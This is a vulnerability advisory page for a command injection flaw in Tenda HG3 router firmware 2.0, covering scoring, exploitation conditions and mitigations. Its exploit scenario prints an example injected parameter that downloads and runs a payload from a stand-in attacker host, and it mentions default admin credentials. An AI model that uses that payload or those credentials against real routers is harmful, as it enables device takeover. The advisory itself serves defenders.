Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain admin credentials
-
DeliveryAuthenticate to web interface
-
ExploitPOST malicious countrystr parameter
-
ExecutionTrigger command injection
-
PersistExecute arbitrary commands as root
-
ImpactEstablish persistence or pivot to network
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires low-privilege authentication to the Tenda HG3 web management interface (CVSS PR:L). Exploitation depends on: (1) attacker possessing valid administrative credentials-commonly unchanged from factory defaults on consumer routers (e.g., admin/admin, admin/password); (2) network-level access to the web interface on TCP port 80/443-achievable if admin interface is exposed to WAN, accessible from compromised internal network host, or via cross-site request forgery if victim administrator browses attacker-controlled content while authenticated. The /boaform/formCountrystr endpoint must be accessible, which is default behavior in standard firmware deployments. No special router configuration settings or non-default features are required-this is a core web interface component. Limitations: Authentication barrier (PR:L) prevents completely unauthenticated exploitation, and unchanged scope (S:N) means attacker gains control of the router but requires additional post-exploitation steps to pivot beyond the device itself. |
| Impact | CVSS 4.0 base score of 7.4 indicates high severity with network attack vector (AV:N), low complexity (AC:L), no attack requirements (AT:N), but requiring low-privilege authentication (PR:L). The E:P (Proof-of-concept) modifier confirms publicly available exploit code. Scope is unchanged (S:N in implicit metrics), meaning the vulnerability cannot escape the router's security context, but it achieves complete control within that context (VC:H/VI:H/VA:H). Real-world risk assessment: This represents a MEDIUM-HIGH priority for organizations using Tenda HG3 routers in production. While authentication is required (PR:L), default credentials are commonly unchanged on consumer routers, and admin interfaces are often exposed to internal networks or misconfigured for internet access. The public POC lowers the skill barrier for exploitation. However, absence from CISA KEV suggests exploitation is not yet widespread in the wild. Tenda's consumer router market position means potential victim population is significant. Attack automation is feasible given network vector and low complexity. SSVC decision: Exploitation is POC-level, automatable, with total technical impact within device scope-prioritize patching for internet-facing or critical network segment deployments. |
| Exploit ScenarioDerived | An attacker who has obtained low-privilege credentials (common default admin credentials like admin/admin on consumer routers, or credentials harvested via phishing) authenticates to the Tenda HG3 web interface over the network. They craft an HTTP POST request to /boaform/formCountrystr with a malicious 'countrystr' parameter value containing shell metacharacters and injected commands (e.g., 'US; wget http://attacker.com/malware -O /tmp/payload; chmod +x /tmp/payload; /tmp/payload'). The router executes the injected commands with root or administrative privileges, allowing the attacker to download and run arbitrary code, establish persistent backdoor access, pivot to internal network devices, or exfiltrate configuration data including credentials. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 27, 2026
OS command injection in Tenda HG3 router version 2.0 allows authenticated remote attackers to execute arbitrary commands with device privileges via the 'countrystr' parameter in /boaform/formCountrystr endpoint. Public exploit code exists (CVSS 4.0 E:P modifier confirms POC availability), enabling authenticated attackers to fully compromise router confidentiality, integrity, and availability. EPSS data unavailable; not currently in CISA KEV catalog, suggesting exploitation may be targeted rather than widespread despite public POC.
RemediationAI
Primary remediation: Check Tenda's official support site (www.tenda.com.cn) for firmware updates newer than version 2.0 addressing CVE-2026-7119; no vendor-released patch version was confirmed in available intelligence at time of analysis. Interim mitigations with trade-offs: (1) Restrict administrative interface access to trusted management networks only via firewall rules-blocks remote exploitation but requires network segmentation and may complicate legitimate remote management; (2) Change default administrative credentials to strong unique passwords-raises the authentication bar (PR:L) but does not eliminate risk if credentials are phished or brute-forced; (3) Disable remote management features entirely if not operationally required-most effective mitigation but eliminates remote administration capability. For internet-facing deployments, immediate isolation from WAN access is critical until patching. Reference vuldb.com/vuln/359719 for researcher's technical analysis and POC details.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability (CWE-77: Command Injection) exists in the web management interface of Tenda HG3 consumer routers at firmware version 2.0. The /boaform/formCountrystr endpoint fails to sanitize user input in the 'countrystr' parameter before passing it to system command execution functions. This is a classic OS command injection flaw common in embedded device web interfaces where CGI-style form handlers directly interpolate user input into shell commands without proper escaping or validation. The 'boaform' path pattern is characteristic of BOA web server implementations frequently used in consumer networking equipment. Affected product identified from description and references: Tenda HG3 router firmware 2.0.
Know when Hg3 Firmware gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A vulnerability was detected in Tenda HG3 2.0. The impacted element is an unknown function of the file /boaform/formCountrystr. The manipulation of the argument countrystr results in os command injection. The attack may be performed from remote. The exploit is now public and may be used.
Executive ViewAI
Tenda HG3 routers running version 2.0 contain a command injection vulnerability that allows authenticated users to execute arbitrary commands with full device privileges, potentially compromising network integrity and enabling lateral movement into corporate infrastructure. Organizations using Tenda HG3 as edge or branch office routers face elevated risk of unauthorized access and data exfiltration, particularly if default or weak credentials are in use.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict administrative access to HG3 devices via firewall rules, permitting only trusted internal IPs; (2) Disable HTTP/HTTPS remote management interfaces and manage devices only via local network access; (3) Change default credentials immediately and enforce strong administrative passwords; (4) Monitor router logs for suspicious POST requests to /boaform/formCountrystr endpoint; (5) Segment router management traffic on dedicated administrative VLAN; (6) Monitor for firmware releases from Tenda and prioritize upgrade testing when available.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-25834
NVD
CVE.org
EPSS
Vulnrichment
VulDB
GitHub PoC
Exploit-DB